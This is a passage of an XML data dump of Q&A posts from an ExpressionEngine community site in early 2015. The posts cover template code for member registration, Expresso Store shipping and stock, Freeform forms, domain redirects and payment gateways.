{error:password}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;sus-passconfirm&quot;&amp;gt;                   &#xA;                      &amp;lt;input class=&quot;passconfirm_input&quot;  type=&quot;text&quot; name=&quot;password_confirm&quot; value=&quot;{password_confirm}&quot; placeholder=&quot;Password Again&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;                      {error:password_confirm}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;sus-regcaptcha&quot;&amp;gt;&#xA;                      {if captcha}&#xA;                        &amp;lt;div class=&quot;welcome_captcha&quot;&amp;gt;&amp;lt;span class=&quot;captchaline&quot;&amp;gt;Please enter the following characters into the box below:&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                          &amp;lt;div class=&quot;captchaline&quot;&amp;gt;{captcha}&amp;lt;/div&amp;gt;&#xA;                          &amp;lt;div class=&quot;captchaline&quot;&amp;gt;{field:captcha}&amp;lt;/div&amp;gt;&#xA;                          &amp;lt;div class=&quot;captchaline&quot;&amp;gt;{error:captcha}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                      {/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;sus-terms&quot;&amp;gt;&#xA;                      &amp;lt;div class=&quot;sus-termswrap&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;sus-termstext&quot;&amp;gt;&amp;lt;input class=&quot;us-btn-orange&quot; type=&quot;checkbox&quot; name=&quot;accept_terms&quot; value=&quot;1&quot; {accept_terms} /&amp;gt;&amp;lt;div class=&quot;termstext&quot;&amp;gt;Accept applicable www.susdus.com- T&amp;amp;C's&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        {error:accept_terms}                            &#xA;                        &amp;lt;div class=&quot;sus-submit &quot;&amp;gt;&#xA;                          &amp;lt;div class=&quot;submit_value&quot;&amp;gt;&amp;lt;input class=&quot;submit_input us-btn us-btn-smallbuy us-btn-orange&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Sign Up&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                      &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                 {/exp:freemember:register} This is the code i am using and always giving me email field required error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2946" LastEditorUserId="2946" LastEditDate="2015-02-10T05:30:04.210" LastActivityDate="2016-10-03T15:17:56.690" Title="Free member is not working" Tags="|freemember|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28907" PostTypeId="1" CreationDate="2015-02-09T00:05:07.683" Score="1" ViewCount="59" Body="&lt;p&gt;I recently purchased the USPS plugin and wanted to know if it's possible to run more than one service (I'd like to offer priority or express to my customers) without using the &quot;All&quot; option.  Is this possible?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iU91F.png&quot; alt=&quot;The services options in the plugin settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4919" LastActivityDate="2015-02-09T19:04:42.570" Title="Expresso Store/USPS plugin and multiple services/methods" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28908" PostTypeId="2" ParentId="26153" CreationDate="2015-02-09T00:38:42.153" Score="0" Body="&lt;p&gt;i've this hardcoded checkbox tag working, didn't did anything special, try this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;open&quot;&amp;gt;&amp;lt;input name=&quot;status&quot; type=&quot;radio&quot; value=&quot;open&quot; id=&quot;open&quot; {if &quot;{status}&quot; == 'open'}Checked{/if}&amp;gt; &amp;lt;strong&amp;gt;Public&amp;lt;/strong&amp;gt; &amp;lt;/label&amp;gt;&#xA;&amp;lt;label for=&quot;draft&quot;&amp;gt;&amp;lt;input name=&quot;status&quot; type=&quot;radio&quot; value=&quot;draft&quot; id=&quot;draft&quot; {if &quot;{status}&quot; == 'draft'}Checked{/if}&amp;gt; &amp;lt;strong&amp;gt;Private&amp;lt;/strong&amp;gt; &amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2015-02-09T00:38:42.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28909" PostTypeId="2" ParentId="28893" CreationDate="2015-02-09T01:31:27.467" Score="1" Body="&lt;p&gt;You should be able to use &lt;code&gt;{relationship_field:total_results}&lt;/code&gt; to get the total results with &lt;code&gt;relationship_field&lt;/code&gt; changed to whatever your field name is for your relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a bunch of parameters you can further use to further filter your results in the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;Relationship documentation.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-02-09T01:31:27.467" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28910" PostTypeId="1" CreationDate="2015-02-09T09:55:11.667" Score="0" ViewCount="89" Body="&lt;p&gt;When I go into the toolbar config this icon &lt;a href=&quot;http://d.pr/i/3UIj&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/i/3UIj&lt;/a&gt; is used for inserting an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No console errors. When I look at the actual publish page, everything is as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried clearing the cache to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone seen similar?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2016-02-21T02:30:07.043" Title="upgraded WYGWAM 3.3.3 - config icons not right" Tags="|wygwam|wysiwyg|config|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28911" PostTypeId="1" CreationDate="2015-02-09T10:37:52.050" Score="0" ViewCount="46" Body="&lt;p&gt;I run a football/soccer site and I am looking to create a feature on my site that asks a member several questions about themselves, club etc.  All they will need to do is answer the questions.  The questions will be predefined by myself and will probably use Channel Form for them to fill in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to create the question fields.  Is just one field for each question using text area type.  Or is there a better way.&lt;/p&gt;&#xA;" OwnerUserId="5029" LastActivityDate="2015-02-09T12:22:56.737" Title="Feature with Question and Answers" Tags="|channel|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28912" PostTypeId="1" AcceptedAnswerId="30240" CreationDate="2015-02-09T11:14:42.987" Score="0" ViewCount="84" Body="&lt;p&gt;Seen the posts about a similar issue with Fedex, though in this case there's not fedex api/plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 shipping methods. Both enabled in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried spitting them other a couple of ways,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{shipping_methods}&#xA;    &amp;lt;option value=&quot;{method_id}&quot;&amp;gt;{method_title}&amp;lt;/option&amp;gt;&#xA;{/shipping_methods}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&amp;amp;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{shipping_method_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also this doesn't display anything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{error:shipping_method}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm within a store checkout tag: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout require=&quot;name|address1|state|country|postcode&quot; return=&quot;/review-and-pay&quot; form_class=&quot;form&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1861" LastEditorUserId="115" LastEditDate="2015-02-09T21:28:57.603" LastActivityDate="2016-05-31T15:47:31.947" Title="Shipping methods not displaying on front end" Tags="|expresso-store|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28913" PostTypeId="2" ParentId="28911" CreationDate="2015-02-09T12:13:19.427" Score="1" Body="&lt;p&gt;Needs to understand how flexible your solution should be, how often questions can change and how do you want to use answers in future.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;As you suggest, it can be just a fields: one question - one field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+ it is fast to build and no additional costs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- every time when you need to add/edit question - you need to create/edit EE field and edit template&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a master channel entry where filled in questions inside the Grid fieldtype (it is can be even in same channel which you will use for answers). Then in Channel form you need to create same list using original list as pattern. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;example (just base):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;1&quot; dynamic=&quot;off&quot;}&#xA;    {exp:channel:form channel=&quot;users_answers&quot;}&#xA;        {grid_field}&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;grid_field[rows][row_id_{grid_field:count}][col_id_1]&quot; value=&quot;{question}&quot;&amp;gt;&#xA;             &amp;lt;textarea name=&quot;grid_field[rows][row_id_{grid_field:count}}][col_id_2]&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        {/grid_field}&#xA;    {/exp:channel:form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Use forms modules like&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/forms&quot; rel=&quot;nofollow&quot;&gt;DevDemon Forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/proform-drag-and-drop-form-builder&quot; rel=&quot;nofollow&quot;&gt;ProForm Drag and Drop Form Builder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/freeform&quot; rel=&quot;nofollow&quot;&gt;Freeform&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But based on your description I think that you don't need to use form builder and stay with solution #2 or even #1 if your question will not change for next 2-3y.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2015-02-09T12:22:56.737" LastActivityDate="2015-02-09T12:22:56.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28914" PostTypeId="2" ParentId="28883" CreationDate="2015-02-09T12:51:55.273" Score="1" Body="&lt;p&gt;No there's not, but there's nothing stopping you from using a global variable for this purpose.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2015-02-09T12:51:55.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28915" PostTypeId="1" AcceptedAnswerId="28917" CreationDate="2015-02-09T12:56:29.800" Score="0" ViewCount="170" Body="&lt;p&gt;I need to use Braintree payment gateway (&lt;a href=&quot;https://www.braintreepayments.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.braintreepayments.com/&lt;/a&gt;), made by Paypal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any commerce modules or plugins available to support this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1350" LastActivityDate="2015-02-09T20:27:29.877" Title="Braintree payment" Tags="|ecommerce|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28916" PostTypeId="1" AcceptedAnswerId="28923" CreationDate="2015-02-09T13:42:49.690" Score="0" ViewCount="179" Body="&lt;p&gt;I got a request to redirect the current domain for a website to another one. So the basic scenario is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site is hosted on domain.com and should stay there, but all the links should be shown as site.domain2.com. The basic URL structure of the site should remain the same but the parent domain needs to be changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically another site is buying the current one and they want their subdomain to be the new default one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have ownership of domain2.com and it will reside on another server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to do with just .htaccess or do I have to change all of my template links to reflect this as well.&lt;/p&gt;&#xA;" OwnerUserId="1438" LastActivityDate="2015-02-09T17:20:14.733" Title="redirect domain to another subdomain" Tags="|htaccess|subdomain|domain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28917" PostTypeId="2" ParentId="28915" CreationDate="2015-02-09T14:46:50.250" Score="3" Body="&lt;p&gt;No e-commerce modules available for EE currently come bundled with Braintree gateway plugins, but all support the development of custom gateways. So I'd choose your module based on the features you need, then tackle the Braintree gateway after.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-02-09T20:27:29.877" LastActivityDate="2015-02-09T20:27:29.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28919" PostTypeId="1" CreationDate="2015-02-09T16:29:22.373" Score="0" ViewCount="21" Body="&lt;p&gt;A site i'm looking after is using expresso store version 1.5.3 and recently they've been having problems in IE. The checkout form just refreshes the page instead of submitting the form, the order isn't processed when this happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site does have a https error, it mentions that the Identity isn't verified, could this be causing the form to not submit or does the module just need updating? &lt;/p&gt;&#xA;" OwnerUserId="5030" LastActivityDate="2015-02-09T16:29:22.373" Title="Expresso Store 1.5.3, not submitting in IE" Tags="|expresso|checkout|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28920" PostTypeId="2" ParentId="27213" CreationDate="2015-02-09T16:44:34.670" Score="1" Body="&lt;p&gt;I see the issue, in 2.9.2 the conditionals have changed. To test for the conditional you need to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if shipping_same_as_billing == 1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-02-09T16:44:34.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28921" PostTypeId="1" AcceptedAnswerId="28928" CreationDate="2015-02-09T16:59:51.033" Score="0" ViewCount="128" Body="&lt;p&gt;How do we control the stock in Store? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enter the stock level into field Limit Stock. The store nows now that there is some stock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8wZDl.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;What is the meaning of the check box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And will Store change the number when 1 item is ordered? It does not in our case. Is this normal that we need to change the number in the entry by hand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might have overseen something in the documentation. &lt;/p&gt;&#xA;" OwnerUserId="686" LastActivityDate="2015-02-09T20:17:31.440" Title="Stock tracking in Expresso Store" Tags="|expresso-store|stock|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28922" PostTypeId="1" AcceptedAnswerId="28926" CreationDate="2015-02-09T17:12:13.203" Score="0" ViewCount="140" Body="&lt;p&gt;I've got a site with six contact forms, and was hoping to be able to use a single return page for all of them and then filter the {exp:freeform:entries} data using something like Switchee (using it to examine the variable {freeform:form_name}. My freeform:entries tag has the form_name parameter populated with a pipe-separated list of all six forms, but I only seem to be getting entries from the first form displayed. Is it not possible to set up a catch-all 'Thank you' page in this way? Here's my code. First a truncated version of one of the forms (they all follow the same pattern):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form &#xA;    form_name=&quot;new_client&quot; &#xA;    return=&quot;contact/thank-you/%%entry_id%%&quot;&#xA;    }&#xA;&#xA;    --- form inputs --&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the template code on the return 'Thank you' page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries status=&quot;open&quot; form_name=&quot;new_client|maintenance|payments|sales|complaints|work_with_us&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;p&amp;gt;Thank you, {freeform:field:name}&amp;lt;br&amp;gt;&#xA;    You submitted contact form:&amp;lt;/p&amp;gt;&#xA;&#xA;    {!-- now check for which form submitted this entry --}&#xA;&#xA;    {exp:switchee variable = &quot;{freeform:form_name}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;new_client|complaints|work_with_us&quot;}&#xA;            &amp;lt;p&amp;gt;NEW CLIENT, COMPLAINTS or WORK WITH US&amp;lt;/p&amp;gt;&#xA;        {/case}&#xA;        {case value=&quot;maintenance&quot;}&#xA;            &amp;lt;p&amp;gt;MAINTENANCE&amp;lt;/p&amp;gt;&#xA;        {/case}&#xA;        {case value=&quot;payments|sales&quot;}&#xA;            &amp;lt;p&amp;gt;PAYMENTS OR SALES&amp;lt;/p&amp;gt;&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No matter which form I submit from the return page shows the first entry (not even the most recent one) from the first form. I tried rearranging the order of the forms in the form_name parameter in case whichever was listed first gets used and the rest get ignored, but it makes no difference. What shows in the thank you template is the form-filler's name from the &lt;em&gt;earliest&lt;/em&gt; form entry submitted, and Switchee uses the first case. the entry ID appended to the URL seems to do nothing. What's the correct way to set this up?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-02-09T19:23:58.587" Title="One return page for multiple forms" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28923" PostTypeId="2" ParentId="28916" CreationDate="2015-02-09T17:12:55.573" Score="0" Body="&lt;p&gt;&lt;strong&gt;METHOD 1: PERMANENT REDIRECT AND EE CONFIG&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a two part answer, and probably doesn't address your unique question (about keeping the old domain and having all links redirect to the new domain), but it is the easiest way.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the web server you are using? Apache? Nginx? You just need a permanent redirect (code &lt;code&gt;301&lt;/code&gt;) in the config file to redirect all queries from &lt;code&gt;domain.com&lt;/code&gt; to &lt;code&gt;site.domain2.com&lt;/code&gt;. See your respective web server docs for instructions on that. That should ensure that your SEO remains as all queries will be redirected to the new domain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The only EE part is the name of the site that you define in &lt;code&gt;Control Panel &amp;gt; Administration &amp;gt; General Configuration&lt;/code&gt;. That will update all references in your templates &lt;strong&gt;provided&lt;/strong&gt; you are using the standard EE global variables &lt;code&gt;{site_url}&lt;/code&gt; in your templates. &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html&quot; rel=&quot;nofollow&quot;&gt;List of all EE global variables&lt;/a&gt;. If your templates have &lt;em&gt;hard-coded&lt;/em&gt; references to &lt;code&gt;domain.com&lt;/code&gt; then you &lt;strong&gt;will&lt;/strong&gt; need to update them all.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;METHOD 2: DEFINE A NEW GLOBAL VARIABLE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative approach would be to define a new variable in &lt;code&gt;Control Panel &amp;gt; Design &amp;gt; Templates &amp;gt; Global Variables&lt;/code&gt; called something like &lt;code&gt;{new_subdomain}&lt;/code&gt;. This would have the new subdomain you want links to point to. Then do a find and replace in all your templates for any reference to &lt;code&gt;{site_url}&lt;/code&gt; and replace with &lt;code&gt;{new_subdomain}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastEditorUserId="2608" LastEditDate="2015-02-09T17:20:14.733" LastActivityDate="2015-02-09T17:20:14.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28924" PostTypeId="1" CreationDate="2015-02-09T18:45:53.600" Score="0" ViewCount="64" Body="&lt;p&gt;I am trying to add an SAEF for members to upload videos and currently have channel videos, does anyone know if it works and what the template code would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5029" LastActivityDate="2016-05-23T22:42:16.197" Title="Does channel videos work with channel form" Tags="|safecracker|channel-videos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28925" PostTypeId="2" ParentId="28907" CreationDate="2015-02-09T19:04:42.570" Score="1" Body="&lt;p&gt;I emailed the developer and they sent me an updated version of the USPS extension which they plan on releasing soon.  It has multiple choice options along with international shipping options as well.&lt;/p&gt;&#xA;" OwnerUserId="4919" LastActivityDate="2015-02-09T19:04:42.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28926" PostTypeId="2" ParentId="28922" CreationDate="2015-02-09T19:23:58.587" Score="1" Body="&lt;p&gt;I would try specifying the &lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/#entry_id&quot; rel=&quot;nofollow&quot;&gt;entry id&lt;/a&gt; in freeform entries tag. This would ensure that you are getting the correct entry in those tags&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2015-02-09T19:23:58.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28927" PostTypeId="2" ParentId="28863" CreationDate="2015-02-09T19:52:20.120" Score="1" Body="&lt;p&gt;Something in jQuery is failing on your install. Make sure you are up to date with ExpressionEngine, so that you can rule out a bug in EE. If that doesn't fix it, reinstall Channel Images and make sure your permissions are correct on the files. If none of that works, make a ticket at DevDemon.com and we will need to see what is killing your jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, other fieldtypes with bugs could cause this, so possibly make another channel field group with just Channel Images in it and see if it fails.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-02-09T19:52:20.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28928" PostTypeId="2" ParentId="28921" CreationDate="2015-02-09T19:56:46.747" Score="0" Body="&lt;p&gt;The limit stock button will tell store that it can only sell so much of that particular sku. Once that sku is down to 0 the item will be out of stock and can no longer be purchased. If you get more of that item in you will need to edit the entry with the updated quantity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember correctly you will only see the stock change if you have check the limit stock box.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-02-09T20:17:31.440" LastActivityDate="2015-02-09T20:17:31.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28930" PostTypeId="2" ParentId="28924" CreationDate="2015-02-09T21:36:12.213" Score="0" Body="&lt;p&gt;I have done this some time ago, I thought by using this code which generates all you need in your form. Docs here &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#other-channel-fields&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#other-channel-fields&lt;/a&gt;&#xA;(edit: 2015-02-10 This worked for me EE  v.2.7.2 Channel Videos v. 3.1.5)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;video&quot; return=&quot;edit-embed/wijzig-video/ENTRY_ID/upload-success&quot; entry_id=&quot;{segment_3}&quot;}&#xA;{field:youtube}&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2015-02-10T11:40:16.587" LastActivityDate="2015-02-10T11:40:16.587" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28931" PostTypeId="2" ParentId="28912" CreationDate="2015-02-09T21:48:40.707" Score="1" Body="&lt;p&gt;Depending on your shipping method, sometimes it won't display any results until the zip code has been submitted. So in order to pull those shipping methods, you would need to submit via ajax, or break your checkout into separate pages.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2015-02-09T21:48:40.707" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28932" PostTypeId="1" CreationDate="2015-02-09T22:27:53.850" Score="0" ViewCount="99" Body="&lt;p&gt;I've been running into an issue on our website where a customer (likely on accident) does not change their state in the Shipping Address, so that they might end up with a Shipping Address in Los Angeles, AL. They obviously meant Los Angeles, CA, but now we don't charge them shipping because it's outside of California.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that we could validate the shipping address before the customer moves onto the next stage in the purchase process?&lt;/p&gt;&#xA;" OwnerUserId="3760" LastActivityDate="2019-02-14T23:34:23.170" Title="Shipping Address Validation in Store Module" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28933" PostTypeId="2" ParentId="28932" CreationDate="2015-02-09T23:11:37.667" Score="0" Body="&lt;p&gt;There is nothing built into Store that would allow actual address verification if you are using the default shipping plugin. Third party plugins USPS, UPS, FedEx offer some verification between City, State, &amp;amp; Zip but won't stop a user from checking out in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not offer free shipping on your site you could easily prevent the user from being able to checkout by making sure the shipping total is higher then 0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout ...}&#xA;    ... other template code ...&#xA;  {if order_shipping_total &amp;gt; 0}&#xA;   &amp;lt;input type=&quot;submit&quot; value&quot;submit&quot; name=&quot;submit&quot; /&amp;gt;&#xA;  {else}&#xA;    Something appears to be wrong with your shipping details please make sure everything is valid&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Cart&quot; /&amp;gt;&#xA;  {/if}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are multiple address verification APIs that you could also integrate yourself. I personally use &lt;a href=&quot;https://smartystreets.com&quot; rel=&quot;nofollow&quot;&gt;SmartyStreets&lt;/a&gt; on a few of my clients sites but there are many other too. &lt;a href=&quot;https://www.easypost.com&quot; rel=&quot;nofollow&quot;&gt;EasyPost&lt;/a&gt; is very nice and also allows you to print shipping labels and connect to many other shipping providers (would require a custom shipping extension), &lt;a href=&quot;http://www.alliescomputing.com/postcoder/address-lookup&quot; rel=&quot;nofollow&quot;&gt;PostCoder Web&lt;/a&gt;, &lt;a href=&quot;https://www.usps.com/business/web-tools-apis/address-information.htm&quot; rel=&quot;nofollow&quot;&gt;USPS&lt;/a&gt;, &lt;a href=&quot;http://www.ups.com/content/us/en/bussol/browse/addressvalidationstreetlevel.html&quot; rel=&quot;nofollow&quot;&gt;UPS&lt;/a&gt;, &lt;a href=&quot;http://www.strikeiron.com/product-list/address/international-address-verification/&quot; rel=&quot;nofollow&quot;&gt;StrikeIron World&lt;/a&gt;, or &lt;a href=&quot;http://www.strikeiron.com/product-list/address/north-american-address-verification-2/&quot; rel=&quot;nofollow&quot;&gt;StrikeIron NA&lt;/a&gt; just to name a few.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-02-09T23:30:22.043" LastActivityDate="2015-02-09T23:30:22.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28935" PostTypeId="1" CreationDate="2015-02-10T10:29:05.517" Score="1" ViewCount="96" Body="&lt;p&gt;I have a scenario where a client wants to give free shipping of orders over $50. They also give out promo codes of 50% off at times. The current workflow is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone adds $60 to their cart - free shipping triggers. They use their promo code and the price of the cart is reduced to $30, but they still have free shipping since it was triggered already. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of re-adding the shipping cost to an order total once the promo code has been applied?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2016-06-19T07:00:13.450" Title="Can you apply shipping prior to promo codes in expresso store 2 carts?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
